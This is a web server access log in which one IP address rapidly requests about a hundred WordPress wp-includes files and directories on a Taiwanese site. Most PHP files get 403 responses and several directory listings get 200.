45.135.193.11 - - [11/Sep/2026:23:58:06 -0400] "GET /bfl.com.tw/wp-includes/block-bindings/ HTTP/1.1" 200 942 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:06 -0400] "GET /bfl.com.tw/wp-includes/class-wp-block-patterns-registry.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:06 -0400] "GET /bfl.com.tw/wp-includes/class-wp-embed.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:06 -0400] "GET /bfl.com.tw/wp-includes/class-wp-simplepie-sanitize-kses.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:06 -0400] "GET /bfl.com.tw/wp-includes/https-migration.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:06 -0400] "GET /bfl.com.tw/wp-includes/compat.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:06 -0400] "GET /bfl.com.tw/wp-includes/Requests/ HTTP/1.1" 200 803 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:06 -0400] "GET /bfl.com.tw/wp-includes/class-wp-exception.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:06 -0400] "GET /bfl.com.tw/wp-includes/class-wp-view-config-data.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:06 -0400] "GET /bfl.com.tw/wp-includes/class.wp-scripts.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:06 -0400] "GET /bfl.com.tw/wp-includes/php-ai-client/ HTTP/1.1" 200 856 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:06 -0400] "GET /bfl.com.tw/wp-includes/?MA= HTTP/1.1" 200 9319 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:06 -0400] "GET /bfl.com.tw/wp-includes/rest-api.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:06 -0400] "GET /bfl.com.tw/wp-includes/class-wp-block-pattern-categories-registry.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:06 -0400] "GET /bfl.com.tw/wp-includes/class-wp-phpmailer.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:06 -0400] "GET /bfl.com.tw/wp-includes/default-filters.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:06 -0400] "GET /bfl.com.tw/wp-includes/connectors.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:06 -0400] "GET /bfl.com.tw/wp-includes/embed.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:06 -0400] "GET /bfl.com.tw/wp-includes/class-phpass.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:06 -0400] "GET /bfl.com.tw/wp-includes/class-wp-icon-collections-registry.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:06 -0400] "GET /bfl.com.tw/wp-includes/class-wp-term-query.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:06 -0400] "GET /bfl.com.tw/wp-includes/class-wp-theme-json-resolver.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:06 -0400] "GET /bfl.com.tw/wp-includes/script-loader.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:06 -0400] "GET /bfl.com.tw/wp-includes/fonts/ HTTP/1.1" 200 1406 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:06 -0400] "GET /bfl.com.tw/wp-includes/js/ HTTP/1.1" 200 4155 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:06 -0400] "GET /bfl.com.tw/wp-includes/class-wp-customize-manager.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:07 -0400] "GET /bfl.com.tw/wp-includes/class-wp-http-curl.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:07 -0400] "GET /bfl.com.tw/wp-includes/pluggable.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:07 -0400] "GET /bfl.com.tw/wp-includes/view-transitions.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:07 -0400] "GET /bfl.com.tw/wp-includes/class-wp-roles.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:07 -0400] "GET /bfl.com.tw/wp-includes/widgets/ HTTP/1.1" 200 1745 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:07 -0400] "GET /bfl.com.tw/wp-includes/class-wp-scripts.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:07 -0400] "GET /bfl.com.tw/wp-includes/class-wp-token-map.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:07 -0400] "GET /bfl.com.tw/wp-includes/class-wp-dependency.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:07 -0400] "GET /bfl.com.tw/wp-includes/class-wp-fatal-error-handler.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:07 -0400] "GET /bfl.com.tw/wp-includes/class-wp-network.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:07 -0400] "GET /bfl.com.tw/wp-includes/block-template-utils.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:07 -0400] "GET /bfl.com.tw/wp-includes/class-wp-recovery-mode-email-service.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:07 -0400] "GET /bfl.com.tw/wp-includes/plugin.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:07 -0400] "GET /bfl.com.tw/wp-includes/block-i18n.json HTTP/1.1" 200 149 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:07 -0400] "GET /bfl.com.tw/wp-includes/class-wp-http-requests-response.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:07 -0400] "GET /bfl.com.tw/wp-includes/class-wp-image-editor-gd.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:07 -0400] "GET /bfl.com.tw/wp-includes/class-wp-plugin-dependencies.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:07 -0400] "GET /bfl.com.tw/wp-includes/class-wp-tax-query.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:07 -0400] "GET /bfl.com.tw/wp-includes/class-phpmailer.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:07 -0400] "GET /bfl.com.tw/wp-includes/class-wp-taxonomy.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:07 -0400] "GET /bfl.com.tw/wp-includes/feed.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:07 -0400] "GET /bfl.com.tw/wp-includes/ms-deprecated.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:07 -0400] "GET /bfl.com.tw/wp-includes/class-http.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:07 -0400] "GET /bfl.com.tw/wp-includes/class-wp-http-proxy.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:07 -0400] "GET /bfl.com.tw/wp-includes/class-wp-theme-json-schema.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:07 -0400] "GET /bfl.com.tw/wp-includes/date.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:07 -0400] "GET /bfl.com.tw/wp-includes/vars.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:07 -0400] "GET /bfl.com.tw/wp-includes/block-supports/ HTTP/1.1" 200 1812 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:07 -0400] "GET /bfl.com.tw/wp-includes/ai-client.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:07 -0400] "GET /bfl.com.tw/wp-includes/class-wp-matchesmapregex.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:07 -0400] "GET /bfl.com.tw/wp-includes/nav-menu.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:07 -0400] "GET /bfl.com.tw/wp-includes/post-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:07 -0400] "GET /bfl.com.tw/wp-includes/post.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:07 -0400] "GET /bfl.com.tw/wp-includes/class-wp-admin-bar.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:07 -0400] "GET /bfl.com.tw/wp-includes/class-wp-ajax-response.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:07 -0400] "GET /bfl.com.tw/wp-includes/class-wp-simplepie-file.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:07 -0400] "GET /bfl.com.tw/wp-includes/category-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:07 -0400] "GET /bfl.com.tw/wp-includes/class-feed.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:07 -0400] "GET /bfl.com.tw/wp-includes/class-wp-block-parser-frame.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:07 -0400] "GET /bfl.com.tw/wp-includes/class-wp-block-type.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:07 -0400] "GET /bfl.com.tw/wp-includes/class-wp-url-pattern-prefixer.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:07 -0400] "GET /bfl.com.tw/wp-includes/deprecated.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:07 -0400] "GET /bfl.com.tw/wp-includes/update.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:07 -0400] "GET /bfl.com.tw/wp-includes/atomlib.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:07 -0400] "GET /bfl.com.tw/wp-includes/IXR/ HTTP/1.1" 200 1455 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:07 -0400] "GET /bfl.com.tw/wp-includes/class-wp-list-util.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:07 -0400] "GET /bfl.com.tw/wp-includes/class-wp-recovery-mode-key-service.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:08 -0400] "GET /bfl.com.tw/wp-includes/embed-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:08 -0400] "GET /bfl.com.tw/wp-includes/?ND= HTTP/1.1" 200 9285 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:08 -0400] "GET /bfl.com.tw/wp-includes/class-wp-block-bindings-registry.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:08 -0400] "GET /bfl.com.tw/wp-includes/class-wp-block-styles-registry.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:08 -0400] "GET /bfl.com.tw/wp-includes/functions.wp-styles.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:08 -0400] "GET /bfl.com.tw/wp-includes/json-schema.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:08 -0400] "GET /bfl.com.tw/wp-includes/query.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:08 -0400] "GET /bfl.com.tw/wp-includes/abilities-api.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:08 -0400] "GET /bfl.com.tw/wp-includes/class-wp-recovery-mode-link-service.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:08 -0400] "GET /bfl.com.tw/wp-includes/https-detection.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:08 -0400] "GET /bfl.com.tw/wp-includes/media-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:08 -0400] "GET /bfl.com.tw/wp-includes/?SA= HTTP/1.1" 200 9319 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:08 -0400] "GET /bfl.com.tw/wp-includes/sitemaps/ HTTP/1.1" 200 1324 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:08 -0400] "GET /bfl.com.tw/wp-includes/ms-site.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:08 -0400] "GET /bfl.com.tw/wp-includes/option.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:08 -0400] "GET /bfl.com.tw/wp-includes/l10n/ HTTP/1.1" 200 1303 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:08 -0400] "GET /bfl.com.tw/wp-includes/PHPMailer/ HTTP/1.1" 200 1374 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:08 -0400] "GET /bfl.com.tw/wp-includes/class-walker-page.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:08 -0400] "GET /bfl.com.tw/wp-includes/class-wp-http-cookie.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:08 -0400] "GET /bfl.com.tw/wp-includes/meta.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:08 -0400] "GET /bfl.com.tw/wp-includes/theme-i18n.json HTTP/1.1" 200 446 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:08 -0400] "GET /bfl.com.tw/wp-includes/class-wp-block-parser.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:08 -0400] "GET /bfl.com.tw/wp-includes/class-wp-locale.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:08 -0400] "GET /bfl.com.tw/wp-includes/class-wp-meta-query.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:08 -0400] "GET /bfl.com.tw/wp-includes/error-protection.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:08 -0400] "GET /bfl.com.tw/wp-includes/icons.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
